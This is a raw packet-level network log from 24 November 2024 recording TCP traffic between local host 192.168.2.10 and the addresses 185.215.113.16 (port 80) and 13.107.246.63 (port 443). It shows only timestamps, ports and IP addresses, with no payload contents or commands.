Nov 24, 2024 08:44:06.626089096 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.626215935 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.630918026 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.630979061 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.631053925 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.635845900 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.635902882 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.635958910 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.640697956 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.640752077 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.640813112 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.645549059 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.645622015 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.645659924 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.650425911 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.650480032 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.650548935 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.655354977 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.655405045 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.655462980 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.660223007 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.660291910 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.660341024 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.665117025 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.665169954 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.665211916 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.670003891 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.670039892 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.670053959 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.674894094 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.674943924 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.675038099 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.679763079 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.679809093 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.679872036 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.684660912 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.684709072 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.684770107 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.689515114 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.689558029 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.689618111 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.694411039 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.694456100 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.694518089 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.699320078 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.699383020 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.699429035 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.706599951 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.706654072 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.706687927 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.709012032 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.709057093 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.765180111 CET	443	49782	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:06.765878916 CET	49782	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:06.765906096 CET	443	49782	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:06.766190052 CET	49782	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:06.766196012 CET	443	49782	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:06.788295984 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.788376093 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.788614035 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.790688038 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.790756941 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.790802956 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.795372963 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.815181971 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.815264940 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.815301895 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.816978931 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.817028046 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.817655087 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.817778111 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.817817926 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.821418047 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.821576118 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.821618080 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.822830915 CET	443	49780	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:06.822890997 CET	443	49780	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:06.822935104 CET	49780	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:06.823101044 CET	49780	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:06.823117018 CET	443	49780	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:06.823131084 CET	49780	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:06.823136091 CET	443	49780	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:06.825138092 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.825277090 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.825320005 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.825716972 CET	49786	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:06.825758934 CET	443	49786	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:06.825824976 CET	49786	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:06.825961113 CET	49786	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:06.825970888 CET	443	49786	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:06.828865051 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.828974962 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.829016924 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.832525969 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.832665920 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.832709074 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.836152077 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.836235046 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.836282969 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.838135958 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.838251114 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.838294029 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.840209007 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.840327978 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.840373039 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.842221022 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.842348099 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.842390060 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.844254017 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.844352961 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.844398022 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.846282959 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.846379995 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.846422911 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.848345041 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.848478079 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.848519087 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.850399971 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.850528002 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.850572109 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.852384090 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.852504969 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.852550030 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.854446888 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.854564905 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.854604006 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.856472015 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.856583118 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.856620073 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.858508110 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.858616114 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.858659029 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.860531092 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.860658884 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.860699892 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.862588882 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.862720013 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.862762928 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.864613056 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.864686012 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.864726067 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.866703033 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.866740942 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.866780043 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.868699074 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.868791103 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.868832111 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.870759010 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.870917082 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.870961905 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.872874022 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.873090982 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.873131037 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.874846935 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.874985933 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.875030041 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.876909971 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.932281017 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.938760042 CET	443	49783	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:06.939342022 CET	49783	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:06.939420938 CET	443	49783	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:06.939804077 CET	49783	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:06.939817905 CET	443	49783	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:06.998193026 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.998274088 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.998373985 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:06.999161005 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.999252081 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:06.999294996 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.000710964 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.000811100 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.000852108 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.002671003 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.002798080 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.002844095 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.004729033 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.004846096 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.004885912 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.006725073 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.016263962 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.016328096 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.016333103 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.017260075 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.017308950 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.017879963 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.017941952 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.017983913 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.019620895 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.019690037 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.019731045 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.021168947 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.021270990 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.021313906 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.023156881 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.023260117 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.023310900 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.025161028 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.025276899 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.025319099 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.027184010 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.027293921 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.027335882 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.029166937 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.029279947 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.029321909 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.031168938 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.031280041 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.031322002 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.033162117 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.033274889 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.033318043 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.035171032 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.035289049 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.035346985 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.037177086 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.037290096 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.037332058 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.039194107 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.039340019 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.039382935 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.041196108 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.041276932 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.041316986 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.043185949 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.043293953 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.043339968 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.045185089 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.045296907 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.045339108 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.047218084 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.047338963 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.047379017 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.049221039 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.049299955 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.049340963 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.051192999 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.051310062 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.051342010 CET	443	49784	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.051373959 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.051806927 CET	49784	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.051831961 CET	443	49784	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.052264929 CET	49784	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.052270889 CET	443	49784	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.053189039 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.053292036 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.053335905 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.055198908 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.055301905 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.055342913 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.057347059 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.057461977 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.057511091 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.059210062 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.059336901 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.059376955 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.061218977 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.061336994 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.061374903 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.063220978 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.063344955 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.063389063 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.065222979 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.065336943 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.065378904 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.067253113 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.067382097 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.067420006 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.069247961 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.069382906 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.069425106 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.071218014 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.071373940 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.071429014 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.073235035 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.073338985 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.073385954 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.075241089 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.075351000 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.075392962 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.077236891 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.077316046 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.077357054 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.079252005 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.079345942 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.079386950 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.081239939 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.081327915 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.081371069 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.083256960 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.083339930 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.083388090 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.085225105 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.085341930 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.085382938 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.087275028 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.087357998 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.087404966 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.089257956 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.089400053 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.089442015 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.091259003 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.091365099 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.091406107 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.093266010 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.093368053 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.093414068 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.095267057 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.095396996 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.095439911 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.097255945 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.097357035 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.097398996 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.099268913 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.099360943 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.099401951 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.101257086 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.101352930 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.101397991 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.101783991 CET	443	49785	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.102255106 CET	49785	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.102266073 CET	443	49785	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.102695942 CET	49785	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.102699995 CET	443	49785	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.103265047 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.103353977 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.103410006 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.105269909 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.105405092 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.105451107 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.107256889 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.151005983 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.200581074 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.200594902 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.200655937 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:07.200691938 CET	443	49782	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.200773001 CET	443	49782	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:07.200818062 CET	49782	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:07.200939894 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.201014996 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:07.201054096 CET	49781	80	192.168.2.10	185.215.113.16
